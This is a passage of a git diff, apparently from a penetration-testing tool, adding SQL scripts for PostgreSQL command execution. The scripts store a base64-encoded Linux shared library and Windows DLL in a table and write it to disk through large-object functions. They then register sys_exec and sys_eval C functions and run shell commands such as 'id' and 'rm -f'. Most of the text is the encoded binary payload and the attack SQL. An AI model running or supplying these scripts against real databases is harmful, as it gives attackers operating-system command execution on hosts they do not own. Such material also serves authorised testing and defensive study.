data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg'; +-- UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA=='; + + +-- Create a new OID for a large object, it implicitly adds an entry in the +-- PostgreSQL large objects system table +-- +-- References: +-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html +-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html +SELECT lo_unlink(35817); +SELECT lo_create(35817); + + +-- Update the PostgreSQL system large objects table assigning to the just +-- created OID the binary (base64 decoded) UDF as data +-- +-- Refereces: +-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql +UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817; + + +-- Export the binary UDF OID to a file on the file system +-- +-- Any folder where postgres user has read/write/execute access is valid +SELECT lo_export(35817, '/tmp/lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres +-- +-- Notes: +-- If the library file already exists and the postgres user has write +-- access over it, it can overwrite the file +-- The following enumerates the PostgreSQL data directory +-- SELECT CURRENT_SETTING('data_directory') +-- Reference: +-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html +-- The following will save into /var/lib/postgresql/M.m/main/lib_postgresqludf_sys.so +-- SELECT lo_export(35817, 'lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres +-- The following would save into / (Permission denied) +-- SELECT lo_export(35817, '/lib_postgresqludf_sys.so'); + + +-- Create two functions from the binary UDF file +CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; + + +-- Test the two functions +SELECT sys_exec('echo test > /tmp/lib_postgresqludf_sys.txt'); -- -rw------- 1 postgres postgres +SELECT sys_eval('cat /tmp/lib_postgresqludf_sys.txt ; id'); + + +-- Cleanup the file system and the database +SELECT sys_exec('rm -f /tmp/lib_postgresqludf_sys.*'); +DROP TABLE IF EXISTS udftest; +DROP FUNCTION IF EXISTS sys_exec(text); +DROP FUNCTION IF EXISTS sys_eval(text); diff --git a/extra/postgresqludfsys/command_execution/windows.sql b/extra/postgresqludfsys/command_execution/windows.sql new file mode 100644 index 000000000..5500864a5 --- /dev/null +++ b/extra/postgresqludfsys/command_execution/windows.sql @@ -0,0 +1,104 @@ +-- Notes: +-- +-- The DLL compiled using PostgreSQL 8.3 C libraries differs from the one +-- compiled using PostgreSQL 8.2 C libraries +-- +-- DLL compiled using PostgreSQL 8.3 C libraries +-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit) +-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed) +-- +-- DLL compiled using PostgreSQL 8.2 C libraries +-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit) +-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed) +-- +-- Little hack to compress the dynamic-linked library: +-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html +-- * Remember to compile it under Visual C++ 2008 with the +-- 'Configuration' set as 'Release' +-- * Use upx (http://upx.sourceforge.net) over the DLL: +-- * upx -9 library.dll -o library_upx.dll + + +-- Create a table with one field data-type text +DROP TABLE IF EXISTS udftest; +CREATE TABLE udftest(data text); + + +-- Insert the base64 encoded UDF in the table + +-- DLL compiled using PostgreSQL 8.3 C libraries +INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMA+iGDSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); +UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCcR4kqVtpBAFE1UAABYLAAAAIAAAJgAAnUB2Sf64AAAQ+MPMDxEM/9/+f1NVi2wkDItFEFZXUOgbAeaL2Iszwe4Cg+4Ef/ff/Y1OAVH/FT+MVo1TBIv4UlcgCpBXxgQ3APd/7GMXhFeL8AiUg8QcO10QdAlTQkDO/tvsDQRfi8ZeXVvDbxC6/7Z9gewIBBKhAiAAM8SJhCQEDYtvsvbZBgxAEI2GLXi8fcBudIs3jNVWg8eI2FdTbXfZjmoBiTPVaGIUU4q79tvYM/+MiCBTjVQkOBZTUon/9m3sXCQ8FnyVLIXAdMpEJBSNUAGKG2tv/whAhMl1+SvCLY0sO3YjeETdH/tuUx8gUAP+VxCAi0wkJFFNLO3lsCeL/UsgdbSLXP67sbMQqFMXkPmAPgB0BcZEN/+69gPbz8Zng8AEUKvQxj6Ze+ckGI2kJAAAH40EhRDH/oXtD4kHNlCNTwRWUe+LjLD5gmuZhF0Mi8dfM8zWXTj8KfKBxFFi/yWBqAX92z88pDsNYHUC88PpCAWvi/9WaIAXYmXMXORw7a5ZWd3/f5ejI1gEVIX2dQUzwEBew4MmAFYHtit83X1oBKcJZnKpBrkLe6O1NlkjIk407FFRCv8Ku385RQx1DjkFaxB+ZXMQg30Mu4XG3QGLCRBIiw3MiQojSC3stu4PhdR9ZBcYBot5wjW7dnfbICiJPVC7HlDrGEqnBHJw'; +UPDATE udftest SET data=data||'4cH+O8d0F2joA6gsagDp/9bwrtveaOfrB8csATyhL0xqAl797d7dyQlqH5IJJus8qhDABLjHBbOufe8fKBog4CcHXOP9+75vILQEsBsaWYk1KzR3f+52WTmydQhpczA5PRVcdBxW+tu9aAYoCFxDDf91IAPDF9veCCMW//FUbAHsjzU33AgBodt4BINl/ADfJBPZ2dsP1PxvbLD2g/gCZtJZW/+gvBm2sVhLUDFZLjUPhIfXHO07xxlUE00UGNjGt38QiX0Ig+8EO8hyUYM/f/NqmG3tt5wHdOn/NyYg+BBmbbbQXLn4VhVE1rjj9htHTfhVOU0QA9C7bVv7CHS0iQkCDBoIYOun9ogxO2kM5FlELoXtK8Q4WAZMMvw//g1HkFBDm1vJwgwAahBzf3sbQxIo0MT5i/KLXQgcVOFld3vkM8lc/Il9IAj8O/FaP7YWYzk6RBfkr2g728Kb//B0BYP+AnUuoew7wXSeVl/QzizccDte5AADkxFO9uB2WgJQFBaAEgkyzloN/yf+AXUkZCBOE1fXEJsVdy9S0gYRDftrtFP3agN1Q09hhz3bNAMhaHQuLCV/8bZw4esbceyLFwmq4FBRtMKl8mQsEGXo9i/brm04+tL+/wAZBYEq5KSuPX4hncOW7Bb/O3B8hdMkahvWVDO8u1V9RFUMDQR2WV04ItpQLhAnKANfISBzc/NmQwUciRUYiR0UiTU023dzEIk9DGaMGDgGDSyzNEuzHQgFBCWsfXdLAC1//JyPFDCVVvbPn20kBwQojUUINIuF4Pygrp2NsapwlQEcGWNs69ggJBMYCWXACRyzls/dNWCJhdgyCgTcKvCNYQMUNGidBqcz/rRsWWr3GHkt77D2fRyDPSAA+SNoW9NjBWIbegYkycOAkY8L30Aecl9qFEpQ9FhISRWq+KLG4fefnBBkWetnagg3hFmP7dYdkhsnNVk04PXzHW6FvwPkUH9LdIytbT9gCn4c3BQs1uK0VypbCeAb0jpnk+Ul2wdd3Gx4/u/c'; +UPDATE udftest SET data=data||'hFnZThYGwffYG8D32FlIXX/p221WuLwYvgRXUDvGcw+LB/QOGh1TAlDNO/5y8SnkOawwJSAg7RsxEz9lMQi4TVoql39X+mY5AXQEVGRBPAPBgThQRXXviRv8+zPSuQsBHEgYD5Tfwl1+35qGLT/ZSDHID7dBDbbbEjhWBXEGM1f4b43G0ggYDXbgnBwMO/nab/D/cgmLWAgD2Tv7cgpCvCg71nLoag+H7JnbTk9q/p9w8wUcm2i1ZA7+UIPsCN1wawwlMWIzxWzwZKMLn6H0GoksSAloS/CuMzEGbMwS61WXNMvDvi0TUBkIDAg7QbjwWxskwegf9wvgAYW77dQKA08ZAFmUi+Xr2E5qlpkByj2lwPqyFuwUmS+7MSNjJ7EzPAVARPlxSSNMpRKsEOw7uQ5jCWEQxab7CwOPWe9W+TbLNttSkGwDjSvg+lgDzZn88Tyq/Ipgk2Agcw3DlQ4O42yWUUoUdT50uxnaaQH2BCAUCopW7PdYGFij7BBofjQH/8j4U1e/TuZAu3pmU6HEHXgNhcMnNZBiUmvxBOtg+3hfC8VaW4F1mJILh/DmyiBjBzQInSf9re1oGPQzDBE793UHvk8IfBffWesLhfN1o8HgEAvwxCOUPvYA99YHBF5fW7Y/mCMjI2MFnFhcYAKyIyNoVAAAlAp5AAIFALPsPmqpwRQRIwNkaAZpugNAAXJI/36JMn1REhBLUlNEU/9///9ie5Q0/rQnQb7gu040vsrDF0M6XERvY3VtZW50/9v//3MgYW5kIFNldHRpbmdzXEFkbQdpc3RyYXRvci63t/b/VzJLM1NURU5VUERBBjNlc2sWcFzt/9/+c2hhcmVcdiZ1YWxfY3BwX3Byb2plY3Q+2/+2/GxpYl9wb2cfc3FsdWRmX3N5FVLDfoH9ZWxlYXNlHS5wZGLRfC8WyLUZlwfQYF0lmw/HhQdOyWHdUQNlJ8wHYXQn7MAP2B8I6wP/IAABSfBBqSDKIiIBZt8NsRm/RP8Ag1EGjKpgApIYBVBU'; +UPDATE udftest SET data=data||'gC0oFP8vzxR4EAFHZXRDdXJyZW50//+R/1Byb2Nlc3NJZFN5c3RlbVRpbWVBc0ZpbGWt/RZ7CRgIY2tDb3UvDYu1v/1RdWVyeVADZm9ybWFuPBYO/Vv3WxhEaXNhYjNoV2FkTGlicmFW/m+/J0NhbGxzb0lzRGVidWdnZXJt2/ayuXZUU1VuaEBkMWRhMffbRXhGcHRpb25zShmgbSlbuRJUF99kbQlEYR4RSZBsc9utbQxrQJ1tcIdlR1GEteaaf3dVUSLCbNmyG1zEFXd7moUzhTxfY2l0NG3fDVhtCl80X2Ftc2cIeO9+4a8RC2RqdUJfZmRpdg1fQ3BwQPvD2lhjv7xfZGVjbwNtYcISlGkyXW0e1t4ruHkYQosy9QlMFizYbk0TD2Xt9gkjDV8bcjRfTG1tHGbX/n0YbldkX251PURtYdzCxrZjHnI0bnPY3Qzb9h0IZvJ0LK5ybrnbO4yEc/zdKnBlVeYK7ZtFD2MHtDA6twnOve9WyM6Lb29D+9ZitiJWbl90eTkctlBoDRqJFYpfcnuahS0KbEaRpHBFuODePXBnQ3RvYXNLunVt///PAlYQMBgJHxYjKgsXJBEXEQeCBgb2////FwkHBRYMHggKCxYJGBgVBQYbBQwQBgcXBiEFEQ++/2//BhQhEQsIKyIFBw0RHQ0YUy1IOAYAB9u+XU4IDAkzCgkLDFsFFr/922UWDgs0FQsYFg09BUK4BRIeFGub/90GaTIRDA4dTQUXIw0MJAgkAFPB/x/wJgY0BGAE6AgEHBwEAFL5D6t/TAEFAPohg0k04AACIQsBCcDsN2kMWwCQFQsz971HGgkLAt4e36X5ZgcDYATbzx5Ae7bsvQEqAgcGcCYHs33LZriMIlAUQE+wNdubMgBQn3fQHGWxA1nVGCFCAJsfSLovsC50ZXh0mgoestlgkAy3QmAucgmD3BrLYfsoBwgTfa85bAJALib+A23KTtOUMAInwE/7XrDGc3KA67BzGk9ujkYAUqlPjAFvSgZpUB5C'; +UPDATE udftest SET data=data||'GwDgk9uMIxKhUlMAAAAAAAAAAACQ/wAAAAAAAAAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOmnmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; +UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA'; +UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAAD5IYNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAgBAAABAQAACQEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; + +-- DLL compiled using PostgreSQL 8.2 C libraries +-- INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMAUx6DSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); +-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCXeP6gEDsfuvE1UAABwLAAAAIAAAJgAAXkB2Sf64AAAQ+MPMDxEM+9/+f1NVi2wkDItFEFZXUOgbAgKL2Iszgeb/AN1/938/g+4EjU4BUf8VQoxWjVMEi/hSVyMK/7GP/bBXxgQ3ABeEV4vwCJSDxBw7XRB0W/Zv3wlTRQgNBF+Lxl5dW2p/bfllLxDDEoHsCAShAu2zdf8gADPEiYQkBA2LBgxAEJ2F3d5kli2FgYs3nLIdefvVVoPHmNhXU2oBmTO3sdvu1WhlFFOaM/+ciCBTjdvYd+1UJDgWVlKJXCQ8FnylLLf///+FwHRbjUQkFI1QAesDjUkAighAhMl1+SvCMo0sfbeNtTt+KHhJUyQgUAP+V9iT7o8QgItMJCRRUiyL/VDY2fZyIHWvi2EQsFMXXzh8w5AOgD4AdAQ3FsZEN/+u/bK7AHCNZCRvg8AEULjggbnyucYsHKQAH/Ync+2JBxwZElCNRwRWUPjNF1w7i4ydiHYMi8dfM+7C4YfMNQ6BxF1u/yWF3/7hsagFpDsNbHUC88PpCAXLi/8QK2PuVmiAaOhw8f7/u7zHWVmjI1gEVIX2dQUzwEBew4MmAF3h6+5WB5loBMMJgnulBhuttbHVC1kjIk5Q7FfY/dtRUQo5RQx1DjkFaxB+bnMtNO7+EIN9DAGLCRBIiybYiWG3dd8KI0gPhdR9ZBcYBot5y7W72241ICiJ'; +-- UPDATE udftest SET data=data||'PVC7HlDrGEoLD/bfpwSOO8d0F2joA6gsagDy/3fd9obWbOfrB8csATyhL0xqAm/37oZe0glqH5IJRus8qhDABHXte++4xwUfKBpA4CcH79/3nVyLILQEsBs6WYk1K/tztxs9WTmydQhpczA5PRXS3+69XHQcaAYoCHxDDf91PL7Y9rYDCCMW//FUiH+suRkB3AgBodt4BINl/ACZyM5m39sP1Pxjg7Ung/gCZtJZW//NsI19oFhLUDFZLjXmaN/hD4SHxxlUE0kU8e2luxgQiX2N7wQ7yHJRgz/b2j+2g/NqbDkHdOn/NyYg+BDabKExXLn4VhVxx+3NRBtHTfhVOU0Q27b2rQPQCHS0iQkCDBoIYGN20nbrp/YM/VlELttXiBE4WAZMMvwbjiALP1BDm1u/9Db8ycIMAGoQQxIo0Fv5i/KLXbK7vbkIHFTkM8lc/Il9IAhbi7Hw/DvxWjk6RBfk4c3/H6+EO/B0BYP+AnUuoew7wXSeFm64bVZf0Dte5AADkz24D2cR/mwUFoBWw7+TEglSJ/4BdSRkIFrEZoWzE1d3L1L+Gu010gYRU/dqA3VDYc92w080AyFodC4sLVx42CV/6xtx7IsXCXCpfLyq4FBRZEwQZei5Gg6t9i/60v67tcdv2xkFnSrkIb3DluyvcJrUFv87JGobd7cKjvZUfUhVDA0EklnKBWKGXTgiMygDbt5MG18hIEMFHIkVGIkd+25ubhSJNRCJPQxmjBg4BmZplmYNLB0IBe9uaZYEJQAtf/ycjxT5s421MJVWJAcEKI1FCLMx1v40i4Xg/KCqcJUBbR3btRwZICQTGAllwLm7ZowJHLNgiYXYMr4xzPIKBNwDFDRodMZfBaa0jFlq9xjWvs/geUYcgz0gAPkjrEDsHWhbG34G8cJ7eiTJw4BAHhTDahQLKSnySlAVqvj8/pMeopwQZFnrZ2oIN6RZQ3LDOI/tJzXDrdC6WTTg9b8D5FB/bSNgvkt0Zp4c3CpbjK0ULNbiCeDlJbRXG9I6'; +-- UPDATE udftest SET 